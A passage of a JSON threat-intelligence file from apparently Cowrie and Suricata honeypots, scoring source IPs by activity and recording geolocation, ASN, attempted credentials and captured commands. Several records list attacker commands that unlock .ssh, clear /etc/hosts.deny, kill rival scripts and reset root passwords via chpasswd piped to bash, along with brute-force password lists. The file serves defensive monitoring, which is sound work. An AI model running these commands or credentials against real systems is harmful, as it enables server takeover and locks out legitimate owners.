      "country_code": "AR",
      "city": "San Juan Bautista",
      "asn": 52504,
      "as_org": "Cicomsa S.A.",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T23:56:16.254000+00:00",
        "last_seen_30d": "2026-05-24T23:57:30.391000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "194.187.178.106": {
      "attack_count": 2,
      "first_seen": "2026-05-14T17:09:12.968Z",
      "last_seen": "2026-05-14T17:09:17.747Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 215778,
      "as_org": "Alpha Strike Labs GmbH",
      "threat_score": 17.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 4.2,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 5,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-14T17:09:12.968000+00:00",
        "last_seen_30d": "2026-05-18T01:21:41.181000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2,
        "Dionaea": 1
      }
    },
    "196.216.92.207": {
      "attack_count": 2,
      "first_seen": "2026-05-08T01:24:06.239Z",
      "last_seen": "2026-05-08T01:24:19.393Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": "Nairobi",
      "asn": 30844,
      "as_org": "Liquid Telecommunications Ltd",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T01:24:06.239000+00:00",
        "last_seen_30d": "2026-05-08T01:25:20.384000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "197.186.63.166": {
      "attack_count": 2,
      "first_seen": "2026-05-08T06:44:51.654Z",
      "last_seen": "2026-05-08T06:45:04.730Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": "Arusha",
      "asn": 37133,
      "as_org": "airtel-tz-as",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T06:44:51.654000+00:00",
        "last_seen_30d": "2026-05-08T06:46:07.876000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "201.238.2.243": {
      "attack_count": 2,
      "first_seen": "2026-05-19T07:15:06.522Z",
      "last_seen": "2026-05-19T07:15:19.367Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T07:15:06.522000+00:00",
        "last_seen_30d": "2026-05-19T07:16:28.867000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "206.0.11.202": {
      "attack_count": 2,
      "first_seen": "2026-05-17T02:03:27.734Z",
      "last_seen": "2026-05-17T02:05:27.736Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Marcos",
      "asn": 263656,
      "as_org": "BRSULNET TELECOM LTDA",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T02:03:27.734000+00:00",
        "last_seen_30d": "2026-05-17T02:16:10.456000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "27.21.30.198": {
      "attack_count": 2,
      "first_seen": "2026-05-23T11:56:18.246Z",
      "last_seen": "2026-05-23T11:56:31.427Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T11:56:18.246000+00:00",
        "last_seen_30d": "2026-05-23T11:57:38.481000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.33.90.68": {
      "attack_count": 2,
      "first_seen": "2026-05-25T06:29:11.077Z",
      "last_seen": "2026-05-25T06:31:11.089Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Egypt",
      "country_code": "EG",
      "city": "Cairo",
      "asn": 8452,
      "as_org": "TE Data",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T06:29:11.077000+00:00",
        "last_seen_30d": "2026-05-25T06:41:19.146000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "41.74.122.46": {
      "attack_count": 2,
      "first_seen": "2026-05-19T04:05:28.211Z",
      "last_seen": "2026-05-19T04:05:41.715Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": "Arusha",
      "asn": 327771,
      "as_org": "MILAN-CABLE",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T04:05:28.211000+00:00",
        "last_seen_30d": "2026-05-19T04:06:51.537000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.175.143.148": {
      "attack_count": 2,
      "first_seen": "2026-05-23T19:43:24.415Z",
      "last_seen": "2026-05-23T19:45:24.417Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Formosa",
      "asn": 265663,
      "as_org": "BOCA ROJA S.A.",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T19:43:24.415000+00:00",
        "last_seen_30d": "2026-05-23T19:59:52.887000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "45.175.143.151": {
      "attack_count": 2,
      "first_seen": "2026-05-23T20:06:53.174Z",
      "last_seen": "2026-05-23T20:08:53.177Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Formosa",
      "asn": 265663,
      "as_org": "BOCA ROJA S.A.",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T20:06:53.174000+00:00",
        "last_seen_30d": "2026-05-23T20:10:15.064000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.229.84.24": {
      "attack_count": 2,
      "first_seen": "2026-05-07T14:21:00.141Z",
      "last_seen": "2026-05-07T14:21:13.147Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Monte Grande",
      "asn": 266705,
      "as_org": "GABRIEL FRANCISCO ERBETTA Y MARIANO ANDRES CARRIZO RICHELET SOCIEDAD DE HECHO TELNET SOLUCI",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T14:21:00.141000+00:00",
        "last_seen_30d": "2026-05-07T14:22:20.336000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.238.254.82": {
      "attack_count": 2,
      "first_seen": "2026-05-03T22:29:56.272Z",
      "last_seen": "2026-05-03T22:30:09.586Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Itapo\u00e1",
      "asn": 268367,
      "as_org": "ITELFIBRA TELECOMUNICACOES LTDA",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T22:29:56.272000+00:00",
        "last_seen_30d": "2026-05-03T22:31:19.613000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "49.36.202.203": {
      "attack_count": 2,
      "first_seen": "2026-05-07T10:55:01.742Z",
      "last_seen": "2026-05-07T10:55:14.494Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Srinagar",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T10:55:01.742000+00:00",
        "last_seen_30d": "2026-05-07T10:56:20.402000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "79.208.179.44": {
      "attack_count": 2,
      "first_seen": "2026-05-22T06:46:01.151Z",
      "last_seen": "2026-05-22T06:48:01.153Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Berlin",
      "asn": 3320,
      "as_org": "Deutsche Telekom AG",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T06:46:01.151000+00:00",
        "last_seen_30d": "2026-05-22T06:58:36.001000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "89.228.73.161": {
      "attack_count": 2,
      "first_seen": "2026-05-25T08:08:04.227Z",
      "last_seen": "2026-05-25T08:08:17.453Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "Gdynia",
      "asn": 21021,
      "as_org": "Multimedia Polska Sp. z o.o.",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T08:08:04.227000+00:00",
        "last_seen_30d": "2026-05-25T08:09:20.267000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.80.186.169": {
      "attack_count": 2,
      "first_seen": "2026-05-14T04:21:50.857Z",
      "last_seen": "2026-05-14T04:22:04.384Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": null,
      "asn": 30722,
      "as_org": "Fastweb",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T04:21:50.857000+00:00",
        "last_seen_30d": "2026-05-14T04:23:11.587000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "171.244.37.103": {
      "attack_count": 902,
      "first_seen": "2026-05-15T04:45:05.296Z",
      "last_seen": "2026-05-30T08:32:28.115Z",
      "sessions": 95,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "iksi",
        "jellyfin",
        "linux",
        "mk",
        "postgres",
        "systemd-sync",
        "...",
        "admin",
        "arun",
        "dbus-helper",
        "deploy",
        "elasticsearch",
        "fedora",
        "furukawa",
        "github",
        "httpd",
        "intel",
        "jasper"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "warnight",
        "linux123",
        "123..0",
        "123321123",
        "1234",
        "12345678",
        "123456789010",
        "123kid",
        "123pls123A!",
        "1q2w3e4r!!",
        "2001",
        "69696969",
        "@Admin2024",
        "A123123a",
        "Aa123456?",
        "Abcd*1234",
        "Dc123456"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"Password@123\\nJwNQxFSpm8Eb\\nJwNQxFSpm8Eb\\n\"|passwd",
        "echo \"jellyfin\\nloQvF4WZ30Sr\\nloQvF4WZ30Sr\\n\"|passwd",
        "echo \"linux123\\n3mfoFKU0BgLA\\n3mfoFKU0BgLA\\n\"|passwd",
        "echo \"mk\\nH87n4IftaBWJ\\nH87n4IftaBWJ\\n\"|passwd",
        "echo \"root:ExeVIL2HEPYD\"|chpasswd|bash",
        "echo \"root:z65vPCoEObFN\"|chpasswd|bash",
        "echo \"warnight\\n65aE8vTIcA4X\\n65aE8vTIcA4X\\n\"|passwd",
        "echo -e \"Password@123\\nJwNQxFSpm8Eb\\nJwNQxFSpm8Eb\"|passwd|bash",
        "echo -e \"jellyfin\\nloQvF4WZ30Sr\\nloQvF4WZ30Sr\"|passwd|bash",
        "echo -e \"linux123\\n3mfoFKU0BgLA\\n3mfoFKU0BgLA\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 53.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 1126,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T04:45:05.296000+00:00",
        "last_seen_30d": "2026-05-30T08:33:36.177000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 902,
        "Suricata": 224
      }
    },
    "213.209.159.158": {
      "attack_count": 733,
      "first_seen": "2026-05-02T00:22:21.508Z",
      "last_seen": "2026-05-31T22:10:37.357Z",
      "sessions": 134,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "kiichi",
        "r00t123",
        "sshadm",
        "ww",
        "alka",
        "ambari",
        "andras",
        "backup",
        "gocloud",
        "user13",
        "uucp",
        "zabbix",
        "zheng"
      ],
      "passwords_attempted": [
        "1",
        "TSWL",
        "Ubuntu2025",
        "VL!123345",
        "kiichi",
        "oooo",
        "r00t123",
        "sixty",
        "sshadm",
        "test011",
        "upload123456789",
        "uyiyuijklkdgdf",
        "wsx999",
        "www.szgwbn.cn",
        "!QAZ2wsx",
        "%username",
        "------------",
        "123",
        "12345",
        "Root!123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_upload",
        "cowrie.login.success",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": null,
      "asn": 208137,
      "as_org": "Feo Prest SRL",
      "threat_score": 67.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 1068,
        "days_active_30d": 30,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T00:22:21.508000+00:00",
        "last_seen_30d": "2026-05-31T22:12:21.687000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 733,
        "Suricata": 335
      }
    },
    "185.158.23.150": {
      "attack_count": 726,
      "first_seen": "2026-05-14T23:21:14.406Z",
      "last_seen": "2026-05-18T23:04:37.884Z",
      "sessions": 64,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "linux",
        "pakchoi",
        "user",
        "www",
        "brengoziscute",
        "claude",
        "devops",
        "fecjl1yg",
        "g9q7jreo",
        "mamad",
        "mpi",
        "peak",
        "thomas",
        "tin",
        "ubuntu",
        "warnight",
        "xhl2g06n"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123456",
        "linux123",
        ".GxRJez2m1MHgY2j4lgG",
        "0day.today",
        "10261026",
        "123456a@",
        "1q2w#E$R",
        "1q2w3e!@",
        "1q2w3e$R%T^Y",
        "3sScGbQLYlTZvYdQqsZA",
        "ADMIN123",
        "Aa147258",
        "Abcd1234567890",
        "Hello2026@",
        "Kermit123@",
        "Qq123456",
        "Ubuntu@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1\\nVOhY34uRjkIK\\nVOhY34uRjkIK\\n\"|passwd",
        "echo \"Kermit123@\\ngQZchPsWuw2A\\ngQZchPsWuw2A\\n\"|passwd",
        "echo \"linux123\\nhwkCW06Dotis\\nhwkCW06Dotis\\n\"|passwd",
        "echo \"root:7KFoidI2d77N\"|chpasswd|bash",
        "echo \"root:H6dwcVHwYav6\"|chpasswd|bash",
        "echo \"root:c7XUGEKxT9S1\"|chpasswd|bash",
        "echo \"root:td9Wjl3rPVL6\"|chpasswd|bash",
        "echo -e \"1\\nVOhY34uRjkIK\\nVOhY34uRjkIK\"|passwd|bash",
        "echo -e \"Kermit123@\\ngQZchPsWuw2A\\ngQZchPsWuw2A\"|passwd|bash",
        "echo -e \"linux123\\nhwkCW06Dotis\\nhwkCW06Dotis\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Karbala",
      "asn": 210022,
      "as_org": "Trade Link Logistics General Trading & Contracting Company W.L.L., L.L.C.",
      "threat_score": 25.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.4,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 866,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T23:21:14.406000+00:00",
        "last_seen_30d": "2026-05-18T23:05:46.411000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 726,
        "Suricata": 140
      }
    },
    "210.79.142.221": {
      "attack_count": 689,
      "first_seen": "2026-05-12T08:31:22.295Z",
      "last_seen": "2026-05-24T11:58:38.500Z",
      "sessions": 78,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "admin",
        "server",
        "administrator",
        "deploy",
        "ftpuser",
        "appldev",
        "claude",
        "csgoserver",
        "debian",
        "es",
        "friend",
        "ftpuser1",
        "guest",
        "kong",
        "newtest",
        "odoo17",
        "oracle"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "password",
        "000000",
        "1111",
        "12121212",
        "123Qweasd",
        "123qwe",
        "123qwe!@",
        "123qweASD",
        "19999999",
        "1q2w3e4r!",
        "1qaz@WSX",
        "Huawei@123#",
        "P@$$w0rd",
        "P@ssw0rd!!",
        "PasswdNew",
        "Root"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"ftpuser1\\nkNWvTgdqDNmT\\nkNWvTgdqDNmT\\n\"|passwd",
        "echo \"root:GAM9jYw2UCns\"|chpasswd|bash",
        "echo \"root:Ys9giVy9NuuQ\"|chpasswd|bash",
        "echo \"root:kpl7O2EeP2am\"|chpasswd|bash",
        "echo \"root:ku2MEsPpCx9k\"|chpasswd|bash",
        "echo -e \"ftpuser1\\nkNWvTgdqDNmT\\nkNWvTgdqDNmT\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 141607,
      "as_org": "PT Gayatri Lintas Nusantara",
      "threat_score": 40.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.5,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 885,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T08:31:22.295000+00:00",
        "last_seen_30d": "2026-05-24T11:59:48.228000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 689,
        "Suricata": 196
      }
    },
    "165.154.6.102": {
